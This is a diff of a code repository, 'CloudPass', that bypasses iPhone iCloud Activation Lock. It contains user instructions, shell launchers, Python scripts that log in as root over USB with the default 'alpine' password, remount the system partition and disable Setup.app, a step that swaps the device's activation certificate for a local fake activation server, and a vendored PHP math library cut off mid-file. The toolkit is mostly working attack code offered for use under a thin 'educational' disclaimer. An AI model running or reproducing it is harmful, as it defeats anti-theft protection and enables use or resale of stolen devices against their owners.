CloudPass

HOWTOUNLOCK.MD

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+# How to unlock with CloudPass
+To unlock please download the script on debian/ubuntu machine it will work on mac if you have python pip installed
+- **SIM CARD** Will work if you did not restore device to factory settings if you did you can unlockit but sim card wont work :(
+- if you restored device to factory settings skip step 1
+# Step 1 
+Launch the script and selcet ``Dump Sim card files from device`` this will dump files from the device so you can later activate the sim card
+# Step 2 
+Restore the device to factory settings this can be done via itunes or 3utools
+# Step 3
+Choose ``Automatic Icloud bypass`` and follow the steps
+if iphone gets unlocked go to step 4
+# Step 4 
+In the same directory where you dumped files open the script again with command ``./start.sh``
+Then select ``Dump Sim card files to device (WORKS IF YOU DID OPTION 5)``
+# Step 5
+Test out everything sim card may not work but you atleast tried. 

README.MD

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+# CloudPass
+## DISCLAIMER
+**All information and software available on here are for educational purposes only. Use these at your own discretion, the software developers cannot be held responsible for any damages caused.
+Usage of all tools in this repo for attacking/unlocking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. We assume no liability and are not responsible for any misuse or damage caused by this software.**
+
+## Features 
+- **iCloud unlocker** | ibypass.sh
+- **Root shell to jailbroken device** | root_shell.sh 
+- **Remove old Icloud** **YOU CANT DIRECTLY AFTER THIS ADD YOU ACCOUNT YOU NEED TO TRY IT MULTIPLE TIMES AND GLITCH IT IN** if you have pass code 
+- **SIM FIX**  scripts for dumping and restoring sim card files, you dump sim card before restore of the device you restore the device do the bypass and restore the files everything is in the menu - simfrom.sh/simto.sh 
+- **Remove icloud account from device that is activated!** If you cant disable old account you can with this script but do not restore the device!! - rm_oldicloud.sh
+## How to run it
+This can be run on Mac/Linux and windows with linux sub system
+Make sure you connect your device over USB
+Command ``cd CloudPass && chmod +x start.sh && clear && ./start.sh;``
+
+#  How does it work?
+It works by jailbreaking the device which we can get SSH control over it, after that we just force kill setup app.
+
+[![telegram Badge](https://img.shields.io/badge/-@Bu3srh-1ca0f1?style=flat&labelColor=1ca0f1&logo=telegram&logoColor=white)](https://t.me/Bu3srh)

source/ibypass.sh

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+# Bu3srh ByPass
+echo " 
+ ____               __                 __         
+/\  _ \           / __ \              /\ \        
+\ \ \L\ \  __  __/\_\L\ \   ____  _ __\ \ \___    
+ \ \  _ <'/\ \/\ \/_/_\_<_ /',__\/\  __\ \  _  \  
+  \ \ \L\ \ \ \_\ \/\ \L\ /\__,  \ \ \/ \ \ \ \ \ 
+   \ \____/\ \____/\ \____\/\____/\ \_\  \ \_\ \_\
+    \/___/  \/___/  \/___/ \/___/  \/_/   \/_/\/_/
+                  Welcome to Bu3srh CloudPass v1.0"
+echo "To make this exploit work we will launch checkrain jailbreak please follow the instructions and do not close the terminal"
+echo "If you want to exit the script press ctrl + c"
+read -p "Press enter to continue"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Getting ready to jailbreak..."pip paramiko
+sudo ./source/exe/jk
+echo "If jailbreak was successfull you should continue"
+read -p "Press button R to restart jailbreak or press enter to continue"
+if [ "$REPLY" == "r" ]; then
+  echo "Restarting jailbreak..."
+  sudo ./source/exe/jk
+else 
+  echo "You selected to continue"
+fi
+echo "Checking for python scripts..."
+if [ -f "./source/scripts/bypass.py" ]; then
+  echo "bypass.py found"
+else
+  echo "bypass.py not found"
+  exit 1
+fi
+if [ -f "./source/scripts/usbmux.py" ]; then
+  echo "usbmux.py found"
+else
+  echo "usbmux.py not found"
+  exit 1
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "All files are found"
+echo "Good luck"
+echo "Starting python scripts..."
+echo "Let the script finish wait 2-5 minutes and your device should be unlocked"
+echo "ON COMPLEATE REBOOT DEVICE MAY BE LOCKED, AND SIM CARD WONT WORK"
+echo "ON SOME IOS VERSIONS THIS WONT WORK AND PLEASE DO NOT UPDATE, IF IT DOES NOT WORK DOWNGRADE IOS"
+# coutdown
+for i in {1..5}
+do
+  echo "Starting at 5 $i"
+  sleep 1
+done
+python3 ./source/scripts/bypass.py
+exit 0

source/jailbreak.sh

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+echo "Getting ready to jailbreak..."
+sudo ./exe/jk
+echo "If jailbreak was successfull you should continue"
+read -p "Press button R to restart jailbreak or press enter to continue"
+if [ "$REPLY" == "r" ]; then
+  echo "Restarting jailbreak..."
+  sudo ./source/exe/jk
+else 
+  echo "You selected to continue"
+  sudo ./source/exe/jk
+fi

source/php.sh

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+echo "Bu3srh IOS PHP UNLOCK"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "Launching shell"
+python3 ./source/scripts/php.py restore
+#
+chmod +x ./source/scripts/phpbypass/start.sh
+./source/scripts/phpbypass/start.sh

source/rm_oldicloud.sh

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+echo "Bu3srh IOS remove old icloud account, ONLY WORKS ON JAILBROKEN IPHONES"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "Launching shell"
+python3 ./source/scripts/remove_oldicloud.py

source/root_shell.sh

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+
+echo "Bu3srh IOS root shell, ONLY WORKS ON JAILBROKEN IPHONES"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "Launching shell"
+python3 ./source/scripts/shell.py

source/scripts/bypass.py

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+import socketserver
+import paramiko
+import usbmux
+import select
+
+from threading import Thread
+from socket import socket
+
+
+class SocketRelay(object):
+
+    def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
+        self.a = a
+        self.b = b
+        self.atob = bytes()
+        self.btoa = bytes()
+        self.max_buffer = max_buffer
+
+    def handle(self) -> None:
+        while True:
+            rlist = list()
+            wlist = list()
+            xlist = [self.a, self.b]
+            if self.atob:
+                wlist.append(self.b)
+            if self.btoa:
+                wlist.append(self.a)
+            if len(self.atob) < self.max_buffer:
+                rlist.append(self.a)
+            if len(self.btoa) < self.max_buffer:
+                rlist.append(self.b)
+            rlo, wlo, xlo = select.select(rlist, wlist, xlist)
+            if xlo:
+                return
+            if self.a in wlo:
+                n = self.a.send(self.btoa)
+                self.btoa = self.btoa[n:]
+            if self.b in wlo:
+                n = self.b.send(self.atob)
+                self.atob = self.atob[n:]
+            if self.a in rlo:
+                s = self.a.recv(self.max_buffer - len(self.atob))
+                if not s:
+                    return
+                self.atob += s
+            if self.b in rlo:
+                s = self.b.recv(self.max_buffer - len(self.btoa))
+                if not s:
+                    return
+                self.btoa += s
+
+
+class TCPRelay(socketserver.BaseRequestHandler):
+    def handle(self) -> None:
+        print("Incoming connection to %d" % self.server.server_address[1])
+        mux = usbmux.USBMux(None)
+        print("Waiting for devices...")
+        if not mux.devices:
+            mux.process(1.0)
+        if not mux.devices:
+            print("No device found")
+            self.request.close()
+            return
+        dev = mux.devices[0]
+        print("Connecting to device %s" % str(dev))
+        d_sock = mux.connect(dev, self.server.r_port)
+        l_sock = self.request
+        print("Connection established, relaying data")
+        try:
+            fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
+            fwd.handle()
+        finally:
+            d_sock.close()
+            l_sock.close()
+        print("Connection closed")
+
+
+class TCPServer(socketserver.TCPServer):
+    allow_reuse_address = True
+
+
+class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
+    allow_reuse_address = True
+
+
+class PhoneConnect:
+
+    def __init__(self,
+                 host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
+        self.host = host
+        self.mobile_port = mobile_port
+        self.computer_port = computer_port
+        self.buffer_size = buffer_size
+
+    def start(self) -> None:
+
+        servers = list()
+        ports = [(self.mobile_port, self.computer_port)]
+
+        for r_port, l_port in ports:
+            print(f"Forwarding local port {l_port} to remote port {r_port}")
+            server = ThreadedTCPServer((self.host, l_port), TCPRelay)
+            server.r_port = r_port
+            server.buffer_size = self.buffer_size
+            servers.append(server)
+
+        alive = True
+
+        while alive:
+            try:
+                rl, wl, xl = select.select(servers, [], [])
+                for server in rl:
+                    server.handle_request()
+            except KeyboardInterrupt:
+                print("Server stopped")
+            except Exception:
+                alive = False
+
+
+if __name__ == '__main__':
+    print("Cloudpass by Bu3srh")
+    server = PhoneConnect()
+
+    thread = Thread(target=server.start)
+    thread.start()
+
+    host = "localhost"
+    user = "root"
+    secret = "alpine"
+    port = 2222
+    command = "cd /;mount -o rw,union,update /;cd /Applications;mv Setup.app Setup.app.bak;uicache -a;" \
+              "killall -9 SpringBoard"
+
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    try:
+        client.connect(hostname=host, username=user, password=secret, port=port)
+        client.exec_command(command)
+    except paramiko.ssh_exception.AuthenticationException:
+        print("Authentication failed")
+    except paramiko.ssh_exception.NoValidConnectionsError:
+        print("Failed to establish connection with the server")
+
+    client.close()
+    print("Done!")
+
+    thread.join()

source/scripts/php.py

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+import socketserver
+import paramiko
+import usbmux
+import select
+import sys
+from threading import Thread
+from socket import socket
+
+
+class SocketRelay(object):
+
+    def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
+        self.a = a
+        self.b = b
+        self.atob = bytes()
+        self.btoa = bytes()
+        self.max_buffer = max_buffer
+
+    def handle(self) -> None:
+        while True:
+            rlist = list()
+            wlist = list()
+            xlist = [self.a, self.b]
+            if self.atob:
+                wlist.append(self.b)
+            if self.btoa:
+                wlist.append(self.a)
+            if len(self.atob) < self.max_buffer:
+                rlist.append(self.a)
+            if len(self.btoa) < self.max_buffer:
+                rlist.append(self.b)
+            rlo, wlo, xlo = select.select(rlist, wlist, xlist)
+            if xlo:
+                return
+            if self.a in wlo:
+                n = self.a.send(self.btoa)
+                self.btoa = self.btoa[n:]
+            if self.b in wlo:
+                n = self.b.send(self.atob)
+                self.atob = self.atob[n:]
+            if self.a in rlo:
+                s = self.a.recv(self.max_buffer - len(self.atob))
+                if not s:
+                    return
+                self.atob += s
+            if self.b in rlo:
+                s = self.b.recv(self.max_buffer - len(self.btoa))
+                if not s:
+                    return
+                self.btoa += s
+
+
+class TCPRelay(socketserver.BaseRequestHandler):
+    def handle(self) -> None:
+        print("Incoming connection to %d" % self.server.server_address[1])
+        mux = usbmux.USBMux(None)
+        print("Waiting for devices...")
+        if not mux.devices:
+            mux.process(1.0)
+        if not mux.devices:
+            print("No device found")
+            self.request.close()
+            return
+        dev = mux.devices[0]
+        print("Connecting to device %s" % str(dev))
+        d_sock = mux.connect(dev, self.server.r_port)
+        l_sock = self.request
+        print("Connection established, relaying data")
+        try:
+            fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
+            fwd.handle()
+        finally:
+            d_sock.close()
+            l_sock.close()
+        print("Connection closed")
+
+
+class TCPServer(socketserver.TCPServer):
+    allow_reuse_address = True
+
+
+class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
+    allow_reuse_address = True
+
+
+class PhoneConnect:
+
+    def __init__(self,
+                 host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
+        self.host = host
+        self.mobile_port = mobile_port
+        self.computer_port = computer_port
+        self.buffer_size = buffer_size
+
+    def start(self) -> None:
+
+        servers = list()
+        ports = [(self.mobile_port, self.computer_port)]
+
+        for r_port, l_port in ports:
+            print(f"Forwarding local port {l_port} to remote port {r_port}")
+            server = ThreadedTCPServer((self.host, l_port), TCPRelay)
+            server.r_port = r_port
+            server.buffer_size = self.buffer_size
+            servers.append(server)
+
+        alive = True
+
+        while alive:
+            try:
+                rl, wl, xl = select.select(servers, [], [])
+                for server in rl:
+                    server.handle_request()
+            except KeyboardInterrupt:
+                print("Server stopped")
+            except Exception:
+                alive = False
+
+
+if __name__ == '__main__':
+    print("Cloudpass by Bu3srh")
+    server = PhoneConnect()
+
+    thread = Thread(target=server.start)
+    thread.start()
+    # get args if we dump from a device or to a device
+    args = sys.argv
+    arg = args[1]
+    host = "localhost"
+    user = "root"
+    secret = "alpine"
+    port = 2222
+    paths = ['System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem']
+    local_paths = ['./source/scripts/phpbypass/raptor/RaptorActivation.pem']
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    try:
+        client.connect(hostname=host, username=user, password=secret, port=port)
+        sftp = client.open_sftp()
+        if arg == "dump":
+            for path in paths:
+                sftp.get(path,local_paths[paths.index(path)],)
+        elif arg == "restore":
+            for path in paths:
+                sftp.put(local_paths[paths.index(path)],path)
+        sftp.close()
+    except paramiko.ssh_exception.AuthenticationException:
+        print("Authentication failed")
+    except paramiko.ssh_exception.NoValidConnectionsError:
+        print("Failed to establish connection with the server")
+    
+    client.close()
+    print("Done!")
+
+    thread.join()

source/scripts/phpbypass/README.md

@@ -0,0 +1,21 @@
+# MiUnlockCode iCloud Bypass Signal OpenSourceCode!
+# ...........::::::Open Source By MiUnlock.Net::::::................
+
+Supported devices : iPhone/iPad/iPod  All iOS & All iDevices Till iPhone X.
+
+==== instructions ====
+
+Raptor Path: 'System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem'
+
+
+ideviceactivation activate -s http://example.com/activator.php 
+
+
+Credits: https://miunlock.net/
+
+Telegram: @MiUnlockCode
+
+Donate :
+
+
+# USDT ERC20: 0x93a4ad733bef765110b242906ed6e314cffe851a

source/scripts/phpbypass/raptor/RaptorActivation.pem

@@ -0,0 +1,21 @@
+-----BEGIN CERTIFICATE-----
+MIIDZzCCAk+gAwIBAgIBAjANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzET
+MBEGA1UECgwKQXBwbGUgSW5jLjEmMCQGA1UECwwdQXBwbGUgQ2VydGlmaWNhdGlv
+biBBdXRob3JpdHkxLTArBgNVBAMMJEFwcGxlIGlQaG9uZSBDZXJ0aWZpY2F0aW9u
+IEF1dGhvcml0eTAeFw0yMDAyMTcwNjUxNDJaFw0yNzAyMTYwNjUxNDJaMFsxCzAJ
+BgNVBAYTAlVTMRMwEQYDVQQKDApBcHBsZSBJbmMuMRUwEwYDVQQLDAxBcHBsZSBp
+UGhvbmUxIDAeBgNVBAMMF0FwcGxlIGlQaG9uZSBBY3RpdmF0aW9uMIGfMA0GCSqG
+SIb3DQEBAQUAA4GNADCBiQKBgQDGY0ZZUcRyJOiPv5e9Gv0FqYw0C7JsrHA31lUn
+Q8E75ZpJmaI/mNMxsVTFMaljESvUND0CLcd7oXUK7bTjLBZvPVQw1Ox/IhfbJr8i
+FVpHey+CKt0vlIlsCEgQC93S59uw2TSfaIgEoh+ujlqfEqpt5Gf9juHFeFvZhlRC
+QVV2swIDAQABo4GbMIGYMA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAAMB0G
+A1UdDgQWBBTzUmyzK86VRqWv8B8t+q8WN7JMWDAfBgNVHSMEGDAWgBQbPaxJRBFM
+9Fci7LMBYuuGdQHEwTA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vd3d3LmFwcGxl
+LmNvbS9hcHBsZWNhL2lwaG9uZS5jcmwwDQYJKoZIhvcNAQEFBQADggEBALeDhz1s
+Rg/fDwpt2JT5gWC5SMzUOPV5SAOlb84qS9RT61yPUXFI6VY7PaK+cm5lv9bt+TPN
+BrMMYgMi+RWHdh1UPS4xwGrMSk1c9M2ul/4REPEp9Jap//1y8xKE17QUzW0ER8K8
+C9ptUUY5L18l52OqAEc4j6vW8H7O3rriECrmBupXb/RzwUPPrJeAfiqRS/5zanvK
+LNp+a+6zQQeMSs32fD/lUlk0ho6McDtjSGCukK3DyA7WeWwBMFfl2T6FXmGqGCvX
+4LfVXUTkMbxEReeoFjJeeItv6BjPuL2mktAnwMmSKDELEbFoo0xZsLX9tpBaKsBQ
+bT+eEHBwuLdeiWw=
+-----END CERTIFICATE-----

source/scripts/phpbypass/start.sh

@@ -0,0 +1,16 @@
+
+
+echo "CONNECT YOUR DEVICE TO YOUR PC"
+read -p "Press enter to continue"
+echo "starting php web server"
+# check for php
+if ! [ -x "$(command -v php)" ]; then
+  echo 'Error: php is not installed.' >&2
+  echo 'install php'
+  sudo apt install php
+else
+  echo "php is installed"
+fi
+screen -d -m php -S localhost:8000 -t ./source/scripts/phpbypass/ 
+sudo apt-get install screen usbmuxd libimobiledevice6 libimobiledevice-utils
+ideviceactivation activate -s http://localhost:8000/activator.php 

source/scripts/phpbypass/var/www/crypt/BigInteger.php

@@ -0,0 +1,3758 @@
+<?php
+
+/**
+ * Pure-PHP arbitrary precision integer arithmetic library.
+ *
+ * Supports base-2, base-10, base-16, and base-256 numbers.  Uses the GMP or BCMath extensions, if available,
+ * and an internal implementation, otherwise.
+ *
+ * PHP versions 4 and 5
+ *
+ * {@internal (all DocBlock comments regarding implementation - such as the one that follows - refer to the
+ * {@link MATH_BIGINTEGER_MODE_INTERNAL MATH_BIGINTEGER_MODE_INTERNAL} mode)
+ *
+ * Math_BigInteger uses base-2**26 to perform operations such as multiplication and division and
+ * base-2**52 (ie. two base 2**26 digits) to perform addition and subtraction.  Because the largest possible
+ * value when multiplying two base-2**26 numbers together is a base-2**52 number, double precision floating
+ * point numbers - numbers that should be supported on most hardware and whose significand is 53 bits - are
+ * used.  As a consequence, bitwise operators such as >> and << cannot be used, nor can the modulo operator %,
+ * which only supports integers.  Although this fact will slow this library down, the fact that such a high
+ * base is being used should more than compensate.
+ *
+ * Numbers are stored in {@link http://en.wikipedia.org/wiki/Endianness little endian} format.  ie.
+ * (new Math_BigInteger(pow(2, 26)))->value = array(0, 1)
+ *
+ * Useful resources are as follows:
+ *
+ *  - {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf Handbook of Applied Cryptography (HAC)}
+ *  - {@link http://math.libtomcrypt.com/files/tommath.pdf Multi-Precision Math (MPM)}
+ *  - Java's BigInteger classes.  See /j2se/src/share/classes/java/math in jdk-1_5_0-src-jrl.zip
+ *
+ * Here's an example of how to use this library:
+ * <code>
+ * <?php
+ *    include 'Math/BigInteger.php';
+ *
+ *    $a = new Math_BigInteger(2);
+ *    $b = new Math_BigInteger(3);
+ *
+ *    $c = $a->add($b);
+ *
+ *    echo $c->toString(); // outputs 5
+ * ?>
+ * </code>
+ *
+ * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * @category  Math
+ * @package   Math_BigInteger
+ * @author    Jim Wigginton <terrafrost@php.net>
+ * @copyright 2006 Jim Wigginton
+ * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
+ * @link      http://pear.php.net/package/Math_BigInteger
+ */
+
+/**#@+
+ * Reduction constants
+ *
+ * @access private
+ * @see Math_BigInteger::_reduce()
+ */
+/**
+ * @see Math_BigInteger::_montgomery()
+ * @see Math_BigInteger::_prepMontgomery()
+ */
+define('MATH_BIGINTEGER_MONTGOMERY', 0);
+/**
+ * @see Math_BigInteger::_barrett()
+ */
+define('MATH_BIGINTEGER_BARRETT', 1);
+/**
+ * @see Math_BigInteger::_mod2()
+ */
+define('MATH_BIGINTEGER_POWEROF2', 2);
+/**
+ * @see Math_BigInteger::_remainder()
+ */
+define('MATH_BIGINTEGER_CLASSIC', 3);
+/**
+ * @see Math_BigInteger::__clone()
+ */
+define('MATH_BIGINTEGER_NONE', 4);
+/**#@-*/
+
+/**#@+
+ * Array constants
+ *
+ * Rather than create a thousands and thousands of new Math_BigInteger objects in repeated function calls to add() and
+ * multiply() or whatever, we'll just work directly on arrays, taking them in as parameters and returning them.
+ *
+ * @access private
+ */
+/**
+ * $result[MATH_BIGINTEGER_VALUE] contains the value.
+ */
+define('MATH_BIGINTEGER_VALUE', 0);
+/**
+ * $result[MATH_BIGINTEGER_SIGN] contains the sign.
+ */
+define('MATH_BIGINTEGER_SIGN', 1);
+/**#@-*/
+
+/**#@+
+ * @access private
+ * @see Math_BigInteger::_montgomery()
+ * @see Math_BigInteger::_barrett()
+ */
+/**
+ * Cache constants
+ *
+ * $cache[MATH_BIGINTEGER_VARIABLE] tells us whether or not the cached data is still valid.
+ */
+define('MATH_BIGINTEGER_VARIABLE', 0);
+/**
+ * $cache[MATH_BIGINTEGER_DATA] contains the cached data.
+ */
+define('MATH_BIGINTEGER_DATA', 1);
+/**#@-*/
+
+/**#@+
+ * Mode constants.
+ *
+ * @access private
+ * @see Math_BigInteger::Math_BigInteger()
+ */
+/**
+ * To use the pure-PHP implementation
+ */
+define('MATH_BIGINTEGER_MODE_INTERNAL', 1);
+/**
+ * To use the BCMath library
+ *
+ * (if enabled; otherwise, the internal implementation will be used)
+ */
+define('MATH_BIGINTEGER_MODE_BCMATH', 2);
+/**
+ * To use the GMP library
+ *
+ * (if present; otherwise, either the BCMath or the internal implementation will be used)
+ */
+define('MATH_BIGINTEGER_MODE_GMP', 3);
+/**#@-*/
+
+/**
+ * Karatsuba Cutoff
+ *
+ * At what point do we switch between Karatsuba multiplication and schoolbook long multiplication?
+ *
+ * @access private
+ */
+define('MATH_BIGINTEGER_KARATSUBA_CUTOFF', 25);
+
+/**
+ * Pure-PHP arbitrary precision integer arithmetic library. Supports base-2, base-10, base-16, and base-256
+ * numbers.
+ *
+ * @package Math_BigInteger
+ * @author  Jim Wigginton <terrafrost@php.net>
+ * @access  public
+ */
+class Math_BigInteger
+{
+    /**
+     * Holds the BigInteger's value.
+     *
+     * @var Array
+     * @access private
+     */
+    var $value;
+
+    /**
+     * Holds the BigInteger's magnitude.
+     *
+     * @var Boolean
+     * @access private
+     */
+    var $is_negative = false;
+
+    /**
+     * Random number generator function
+     *
+     * @see setRandomGenerator()
+     * @access private
+     */
+    var $generator = 'mt_rand';
+
+    /**
+     * Precision
+     *
+     * @see setPrecision()
+     * @access private
+     */
+    var $precision = -1;
+
+    /**
+     * Precision Bitmask
+     *
+     * @see setPrecision()
+     * @access private
+     */
+    var $bitmask = false;
+
+    /**
+     * Mode independent value used for serialization.
+     *
+     * If the bcmath or gmp extensions are installed $this->value will be a non-serializable resource, hence the need for
+     * a variable that'll be serializable regardless of whether or not extensions are being used.  Unlike $this->value,
+     * however, $this->hex is only calculated when $this->__sleep() is called.
+     *
+     * @see __sleep()
+     * @see __wakeup()
+     * @var String
+     * @access private
+     */
+    var $hex;
+
+    /**
+     * Converts base-2, base-10, base-16, and binary strings (base-256) to BigIntegers.
+     *
+     * If the second parameter - $base - is negative, then it will be assumed that the number's are encoded using
+     * two's compliment.  The sole exception to this is -10, which is treated the same as 10 is.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('0x32', 16); // 50 in base-16
+     *
+     *    echo $a->toString(); // outputs 50
+     * ?>
+     * </code>
+     *
+     * @param optional $x base-10 number or base-$base number if $base set.
+     * @param optional integer $base
+     * @return Math_BigInteger
+     * @access public
+     */
+    function Math_BigInteger($x = 0, $base = 10)
+    {
+        if ( !defined('MATH_BIGINTEGER_MODE') ) {
+            switch (true) {
+                case extension_loaded('gmp'):
+                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_GMP);
+                    break;
+                case extension_loaded('bcmath'):
+                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_BCMATH);
+                    break;
+                default:
+                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_INTERNAL);
+            }
+        }
+
+        if (function_exists('openssl_public_encrypt') && !defined('MATH_BIGINTEGER_OPENSSL_DISABLE') && !defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) {
+            // some versions of XAMPP have mismatched versions of OpenSSL which causes it not to work
+            ob_start();
+            @phpinfo();
+            $content = ob_get_contents();
+            ob_end_clean();
+
+            preg_match_all('#OpenSSL (Header|Library) Version(.*)#im', $content, $matches);
+
+            $versions = array();
+            if (!empty($matches[1])) {
+                for ($i = 0; $i < count($matches[1]); $i++) {
+                    $fullVersion = trim(str_replace('=>', '', strip_tags($matches[2][$i])));
+
+                    // Remove letter part in OpenSSL version
+                    if (!preg_match('/(\d+\.\d+\.\d+)/i', $fullVersion, $m)) {
+                        $versions[$matches[1][$i]] = $fullVersion;
+                    } else {
+                        $versions[$matches[1][$i]] = $m[0];
+                    }
+                }
+            }
+
+            // it doesn't appear that OpenSSL versions were reported upon until PHP 5.3+
+            switch (true) {
+                case !isset($versions['Header']):
+                case !isset($versions['Library']):
+                case $versions['Header'] == $versions['Library']:
+                    define('MATH_BIGINTEGER_OPENSSL_ENABLED', true);
+                    break;
+                default:
+                    define('MATH_BIGINTEGER_OPENSSL_DISABLE', true);
+            }
+        }
+
+        if (!defined('PHP_INT_SIZE')) {
+            define('PHP_INT_SIZE', 4);
+        }
+
+        if (!defined('MATH_BIGINTEGER_BASE') && MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL) {
+            switch (PHP_INT_SIZE) {
+                case 8: // use 64-bit integers if int size is 8 bytes
+                    define('MATH_BIGINTEGER_BASE',       31);
+                    define('MATH_BIGINTEGER_BASE_FULL',  0x80000000);
+                    define('MATH_BIGINTEGER_MAX_DIGIT',  0x7FFFFFFF);
+                    define('MATH_BIGINTEGER_MSB',        0x40000000);
+                    // 10**9 is the closest we can get to 2**31 without passing it
+                    define('MATH_BIGINTEGER_MAX10',      1000000000);
+                    define('MATH_BIGINTEGER_MAX10_LEN',  9);
+                    // the largest digit that may be used in addition / subtraction
+                    define('MATH_BIGINTEGER_MAX_DIGIT2', pow(2, 62));
+                    break;
+                //case 4: // use 64-bit floats if int size is 4 bytes
+                default:
+                    define('MATH_BIGINTEGER_BASE',       26);
+                    define('MATH_BIGINTEGER_BASE_FULL',  0x4000000);
+                    define('MATH_BIGINTEGER_MAX_DIGIT',  0x3FFFFFF);
+                    define('MATH_BIGINTEGER_MSB',        0x2000000);
+                    // 10**7 is the closest to 2**26 without passing it
+                    define('MATH_BIGINTEGER_MAX10',      10000000);
+                    define('MATH_BIGINTEGER_MAX10_LEN',  7);
+                    // the largest digit that may be used in addition / subtraction
+                    // we do pow(2, 52) instead of using 4503599627370496 directly because some
+                    // PHP installations will truncate 4503599627370496.
+                    define('MATH_BIGINTEGER_MAX_DIGIT2', pow(2, 52));
+            }
+        }
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                switch (true) {
+                    case is_resource($x) && get_resource_type($x) == 'GMP integer':
+                    // PHP 5.6 switched GMP from using resources to objects
+                    case is_object($x) && get_class($x) == 'GMP':
+                        $this->value = $x;
+                        return;
+                }
+                $this->value = gmp_init(0);
+                break;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $this->value = '0';
+                break;
+            default:
+                $this->value = array();
+        }
+
+        // '0' counts as empty() but when the base is 256 '0' is equal to ord('0') or 48
+        // '0' is the only value like this per http://php.net/empty
+        if (empty($x) && (abs($base) != 256 || $x !== '0')) {
+            return;
+        }
+
+        switch ($base) {
+            case -256:
+                if (ord($x[0]) & 0x80) {
+                    $x = ~$x;
+                    $this->is_negative = true;
+                }
+            case  256:
+                switch ( MATH_BIGINTEGER_MODE ) {
+                    case MATH_BIGINTEGER_MODE_GMP:
+                        $sign = $this->is_negative ? '-' : '';
+                        $this->value = gmp_init($sign . '0x' . bin2hex($x));
+                        break;
+                    case MATH_BIGINTEGER_MODE_BCMATH:
+                        // round $len to the nearest 4 (thanks, DavidMJ!)
+                        $len = (strlen($x) + 3) & 0xFFFFFFFC;
+
+                        $x = str_pad($x, $len, chr(0), STR_PAD_LEFT);
+
+                        for ($i = 0; $i < $len; $i+= 4) {
+                            $this->value = bcmul($this->value, '4294967296', 0); // 4294967296 == 2**32
